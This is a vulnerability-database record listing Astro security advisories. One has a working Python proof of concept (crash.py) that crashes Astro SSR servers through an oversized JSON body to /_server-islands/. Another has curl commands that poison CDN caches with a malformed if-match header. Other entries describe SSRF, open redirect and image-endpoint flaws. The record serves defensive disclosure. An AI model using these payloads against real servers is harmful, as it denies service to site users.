| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-c6g3-td4y-gbgj |
| vulnerability_id |
VCID-c6g3-td4y-gbgj |
| summary |
Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands
### Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.
### Details
Astro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit:
```js
// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text(); // full body buffered into memory — no size limit
const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit
```
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — `/_server-islands/anything` triggers the vulnerable code path. No authentication is required.
Additionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.
### PoC
**Environment:** Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`.
The app does **not** use `server:defer` — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.
**Setup files:**
`package.json`:
```json
{
"name": "poc-server-islands-dos",
"scripts": {
"build": "astro build",
"start": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.18.0",
"@astrojs/node": "9.5.4"
}
}
```
`astro.config.mjs`:
```js
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
```
`src/pages/index.astro`:
```astro
---
---
<html>
<head><title>Astro App</title></head>
<body>
<h1>Hello</h1>
<p>Just a plain SSR page. No server islands.</p>
</body>
</html>
```
`Dockerfile`:
```dockerfile
FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
```
`docker-compose.yml`:
```yaml
services:
astro:
build: .
ports:
- "4321:4321"
deploy:
resources:
limits:
memory: 256m
```
**Reproduction:**
```bash
# Build and start
docker compose up -d
# Verify server is running
curl http://localhost:4321/
# => 200 OK
```
`crash.py`:
```python
import requests
# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"
# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")
try:
r = requests.post(TARGET, data=payload,
headers={"Content-Type": "application/json"}, timeout=30)
print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
print("Server crashed (OOM killed)")
```
```
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)
$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused
$ docker compose ps
NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS
(empty — container was OOM killed)
```
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
### Impact
Any Astro SSR app with the Node standalone adapter is affected — the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the `[name]` parameter works because the body is parsed before the name is validated. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-29772, GHSA-3rmj-9m5h-8fpv
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-c6g3-td4y-gbgj |
|
| 1 |
| url |
VCID-ecmk-efnj-nbfq |
| vulnerability_id |
VCID-ecmk-efnj-nbfq |
| summary |
Astro has Full-Read SSRF in error rendering via Host: header injection
Server-Side Rendered pages that return an error with a prerendered custom error page (eg. `404.astro` or `500.astro`) are vulnerable to SSRF. If the `Host:` header is changed to an attacker's server, it will be fetched on `/500.html` and they can redirect this to any internal URL to read the response body through the first request. |
| references |
| 0 |
|
| 1 |
|
| 2 |
| reference_url |
https://github.com/withastro/astro |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
8.6 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
|
| 1 |
| value |
6.9 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/withastro/astro |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-25545, GHSA-qq67-mvv5-fw3g
|
| risk_score |
3.9 |
| exploitability |
0.5 |
| weighted_severity |
7.7 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-ecmk-efnj-nbfq |
|
| 2 |
| url |
VCID-jt7q-nwep-wbfb |
| vulnerability_id |
VCID-jt7q-nwep-wbfb |
| summary |
Astro: Cache Poisoning due to incorrect error handling when if-match header is malformed
### Summary
Requesting a static JS/CSS resource from the `_astro` path with an incorrect or malformed `if-match` header returns a `500` error with a one-year cache lifetime instead of `412` in some cases. As a result, all subsequent requests to that file — regardless of the `if-match` header — will be served a 5xx error instead of the file until the cache expires.
Sending an incorrect or malformed `if-match` header should always return a `412` error without any cache headers, which is not the current behavior.
### Affected Versions
- `astro@5.14.1`
- `@astrojs/node@9.4.4`
### Proof of Concept
Run the following command:
```
curl -s -o /dev/null -D - <host location>/_astro/_slug_.UTbyeVfw.css -H "if-match: xxx"
```
If a 5xx error is not returned, inspect the resources via the browser's web inspector and select another CSS/JS file to request until a 5xx error is returned. The behavior generally defaults to a 5xx response. Note that all static files are immutable, so the cache must be purged or disabled to reproduce reliably.
A response similar to the following is expected from CloudFront:
```
HTTP/2 500
content-type: text/html
content-length: 166541
date: Thu, 09 Apr 2026 12:53:08 GMT
last-modified: Wed, 21 Jan 2026 13:40:08 GMT
etag: "a68349e96c2faf8861c330aeb548441a"
x-amz-server-side-encryption: AES256
accept-ranges: bytes
server: AmazonS3
x-cache: Error from cloudfront
via: 1.1 3591be88662e5675a9dc1cc4e0a9c392.cloudfront.net (CloudFront)
x-amz-cf-pop: ZRH55-P2
x-amz-cf-id: Rg--RIYCKcA55GZqZXdvu-VTvpxBFFVzV4LBIcKq5pB_hktcrhYbKg==
```
The above is not the real server output but the AWS error response triggered when the pods return a 5xx. Below is the output of the same `curl` command issued directly against a pod in Kubernetes:
```
❯ curl -s -o /dev/null -D - -H "Host: tagesanzeiger.ch" 127.0.0.1:3333/_astro/InstallPrompt.astro_astro_type_script_index_0_lang.C0M4llHG.js -H "if-match: xxx"
HTTP/1.1 500 Internal Server Error
Cache-Control: public, max-age=31536000, immutable
Accept-Ranges: bytes
Last-Modified: Tue, 07 Apr 2026 07:08:03 GMT
ETag: W/"560-19d66c50c38"
Content-Type: text/javascript; charset=utf-8
Date: Tue, 07 Apr 2026 08:23:54 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
```
This demonstrates that the pod itself returns a `5xx` error instead of `412`. In addition, the response includes a `Cache-Control: public, max-age=31536000, immutable` header.
Because the testing setup configures `if-match` as part of the cache key, the exploit no longer affects the production application. Prior to that change, the CDN Point of Presence would become cache-poisoned, and any client visiting the affected pages without cached files through the same PoP would receive broken pages. This was reproduced by creating test URLs and visiting them in a browser only after triggering the exploit. The exploited resources returned `5xx` errors instead of the original CSS/JS content, breaking the application.
### Details
The findings were analyzed with an LLM, which identified the following file as the likely source: [serve-static.ts](https://github.com/withastro/astro/blob/main/packages/integrations/node/src/serve-static.ts)
```js
// Lines 129-153
let forwardError = false;
stream.on('error', (err) => {
if (forwardError) {
console.error(err.toString());
res.writeHead(500);
res.end('Internal server error');
return;
}
// File not found, forward to the SSR handler
ssr();
});
stream.on('headers', (_res: ServerResponse) => {
// assets in dist/_astro are hashed and should get the immutable header
if (normalizedPathname.startsWith(`/${app.manifest.assetsDir}/`)) {
// This is the "far future" cache header, used for static files whose name includes their digest hash.
// 1 year (31,536,000 seconds) is convention.
// Taken from https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control#immutable
_res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');
}
});
stream.on('file', () => {
forwardError = true;
});
stream.pipe(res);
```
LLM analysis:
> `send` handles conditional request headers such as `If-Match` internally. When a file is found but the precondition fails (ETag mismatch), `send`:
>
> 1. Emits `file` (the file exists) → `forwardError = true`
> 2. Emits `headers` → `Cache-Control: public, max-age=31536000, immutable` is set on `res`
> 3. Emits `error` with a `PreconditionFailedError` (status 412)
>
> However, the error handler does not inspect the error's status code:
>
> ```js
> stream.on('error', (err) => {
> if (forwardError) {
> console.error(err.toString());
> res.writeHead(500); // ← always 500, regardless of the actual error
> res.end('Internal server error');
> return;
> }
> ssr();
> });
> ```
>
> Because `Cache-Control` was already set during the `headers` event, the response is sent as:
>
> ```
> HTTP/1.1 500 Internal Server Error
> Cache-Control: public, max-age=31536000, immutable
> ```
### Impact
**Cache Poisoning** — An attacker can force edge servers to cache an error page instead of the actual content, rendering one or more assets unavailable to legitimate users until the cache expires. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-41322, GHSA-c57f-mm3j-27q9
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-jt7q-nwep-wbfb |
|
| 3 |
| url |
VCID-mhk4-vf4t-47g7 |
| vulnerability_id |
VCID-mhk4-vf4t-47g7 |
| summary |
@astrojs/node's trailing slash handling causes open redirect issue
Following https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2025-55207, GHSA-9x9c-ghc5-jhw9
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-mhk4-vf4t-47g7 |
|
| 4 |
| url |
VCID-qcs7-nt67-7qe5 |
| vulnerability_id |
VCID-qcs7-nt67-7qe5 |
| summary |
Astro allows unauthorized third-party images in _image endpoint
In affected versions of `astro`, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served. |
| references |
| 0 |
|
| 1 |
| reference_url |
https://github.com/withastro/astro |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
6.1 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
|
| 1 |
| value |
6.4 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/withastro/astro |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
|
| fixed_packages |
|
| aliases |
CVE-2025-55303, GHSA-xf8x-j4p2-f749
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-qcs7-nt67-7qe5 |
|
|
|---|